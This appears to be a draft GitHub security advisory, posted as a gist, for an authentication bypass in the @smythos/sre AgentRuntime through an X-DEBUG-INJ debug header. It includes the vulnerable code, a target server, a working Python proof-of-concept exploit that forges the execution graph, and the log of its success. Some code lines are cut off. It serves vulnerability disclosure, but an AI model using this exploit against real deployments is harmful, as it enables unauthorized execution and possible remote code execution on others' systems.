YLChen-007 / **ISSUE-Github-REPORT-AgentRuntime_Debug_Injection.md**

Secret

Last active 3 weeks ago

Code Revisions 2

Authentication Bypass and Unauthorized Component Execution via HTTP Debug Header Injection in AgentRuntime

ISSUE-Github-REPORT-AgentRuntime_Debug_Injection.md

Advisory Details

Title: Authentication Bypass and Unauthorized Component Execution via HTTP Debug Header Injection in AgentRuntime

Description:

Summary

An authentication bypass and state injection vulnerability in the `AgentRuntime` engine allows an unauthenticated external attacker to arbitrarily manipulate and execute downstream internal agent components. By injecting specific HTTP headers (`X-DEBUG-INJ`), an attacker can force the runtime to accept an arbitrary execution tree containing malicious inputs, entirely bypassing any upstream authentication or authorization components configuring the Agent's flows.

Details

The vulnerability originates in the constructor of `AgentRuntime` in `packages/core/src/subsystems/AgentManager/AgentRuntime.class.ts`. The runtime extracts internal debug headers (`X-DEBUG-RUN`, `X-DEBUG-INJ`) from the unauthenticated HTTP request prior to running any component-level validation. An insecure conditional check evaluates the presence of these headers, and specifically maps the raw, unvalidated HTTP request body (`agent.agentRequest.body`) into a privileged internal state variable `this.xDebugPendingInject`:

```
this.xDebugRun = agent.agentRequest.header('X-DEBUG-RUN');
this.xDebugInject = agent.agentRequest.header('X-DEBUG-INJ');
this.xDebugId = this.xDebugStop || this.xDebugRun || this.xDebugRead;

if (!this.xDebugId && agent.agentRequest.body) {
    if (this.xDebugInject != undefined && this.xDebugInject != null) {
        // Vulnerable assignment:
        this.xDebugPendingInject = agent.agentRequest.body;
        this.xDebugRun = this.xDebugInject || 'inj-' + uid();
    }
}
```

Later, during the `runCycle()` processing loop, the engine prioritizes this injected tree over the authentically configured database component graph:

```
const dbgAllComponents: any = runtime.xDebugPendingInject || Object.values(ct
```

Because the runtime now processes components derived entirely from the attacker's HTTP body, the attacker can specify a downstream privileged node (e.g., built-in `ServerlessCode` or `LogicOR`) and forge its context properties like `ctx.active: true` and `ctx.status: null`. The engine will subsequently execute the attacker-chosen downstream action, ignoring any upstream graph prerequisites such as an `auth_check` or `APIEndpoint` access control gateway.

PoC

Prerequisites

- The target application must be running `@smythos/sre` with `AgentRuntime` reachable via API processing.

Reproduction Steps

1. Save the following code as `server.ts` to instantiate a vulnerable AgentRuntime target protecting a downstream component:

```
import http from 'http';
import { AgentProcess, SmythRuntime } from '@smythos/sre';

SmythRuntime.Instance.init({
    AgentData: { Connector: 'Local', Settings: { devDir: '/tmp', prodDir: '/t
});
```

```
// A secured agent flow graph setup:
// The critical_action should ONLY be executed if auth_check outputs 'authori
const agentData = {
    id: 'secure-agent',
    components: [
        {
            id: 'auth_check',
            name: 'APIEndpoint',
            inputs: [],
            outputs: [{ name: 'authorized' }],
            data: { method: 'POST', endpoint: 'secure-action' }
        },
        {
            id: 'critical_action',
            name: 'LogicOR',
            inputs: [{ name: 'input' }],
            outputs: [{ name: 'Verified' }, { name: 'Unverified' }],
            data: {}
        }
    ],
    connections: [
        { sourceId: 'auth_check', targetId: 'critical_action', sourceIndex: '
    ]
};

const server = http.createServer((req, res) => {
    let body = '';
    req.on('data', chunk => { body += chunk.toString(); });
    req.on('end', async () => {
        try {
            const parsedBody = body ? JSON.parse(body) : {};
            const process = AgentProcess.load(agentData);

            // Standard unauthenticated external HTTP load
            const result = await process.run({
                method: req.method || 'GET',
                path: req.url || '/',
                body: parsedBody,
                headers: req.headers as Record<string, string>
            });
            res.writeHead(200, { 'Content-Type': 'application/json' });
            res.end(JSON.stringify(result));
        } catch (e: any) {
            console.error('SERVER ERROR:', e);
            res.writeHead(500, { 'Content-Type': 'application/json' });
            res.end(JSON.stringify({ error: e.message }));
        }
    });
});
```

```
server.listen(3000, '0.0.0.0', () => {
    console.log('Target Server listening on port 3000');
});
```

2. Save the following exploitation script as `poc_exploit.py`:

```
import requests
import json

url = "http://127.0.0.1:3000/api/secure-action"

# Forging a modified component graph state directly into the critical compone
pay = [
    {
        "id": "critical_action",
        "ctx": {
            "active": True,
            "status": None,
            "sourceId": "auth_check",
            "input": {
                "input": "attacker_control"
            }
        }
    }
]

headers = {
    "Content-Type": "application/json",
    "X-DEBUG-INJ": "bypass-auth",
}

print("[*] Sending malicious request to bypass auth and inject state...")
try:
    res = requests.post(url, headers=headers, json=pay)
    print(f"[+] Status: {res.status_code}")
    print(f"[+] Response: {json.dumps(res.json(), indent=2)}")
except Exception as e:
    print(f"[-] Error: {e}")
```

3. Run the vulnerable server in one terminal:

```
npx tsx server.ts
```

4. Trigger the exploit in another terminal:

```
python3 poc_exploit.py
```

Log of Evidence

```
[*] Sending malicious request to bypass auth and inject state...
[+] Status: 200
[+] Response: {
  "data": {
    "state": [
      {
        "id": "critical_action",
        "name": "LogicOR",
        "result": {
          "Output": true,
          "Verified": true,
          "_debug": ""
        }
      },
      ...
    ],
    "dbgSession": "bypass-auth",
    "sessionResult": true,
    "finalResult": {
      "id": "critical_action",
      "name": "LogicOR",
      "result": {
        "Output": true,
        ...
      }
    }
  }
}
```

Impact

This vulnerability represents a critical Authentication and Authorization Bypass that leads to complete Agent Execution Flow hijacking. An external unauthenticated attacker can precisely execute downstream restricted agent components. Depending on the internal node graph available to the execution environment, this trivially escalates into Remote Code Execution (RCE) (e.g. if `ServerlessCode`, `ECMASandbox`, or Javascript execution nodes are accessible downstream), sensitive data extraction via Storage components, or arbitrary state corruption.

Affected products

- **Ecosystem**: npm
- **Package name**: @smythos/sre
- **Affected versions**: <= 0.0.15
- **Patched versions**:

Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Weaknesses

- **CWE-287**: Improper Authentication
- **CWE-639**: Authorization Bypass Through User-Controlled Key

Occurrences

Permalink
https://github.com/SmythOS/sre/blob/main/packages/core/src/subsystems/AgentManager
https://github.com/SmythOS/sre/blob/main/packages/core/src/subsystems/AgentManager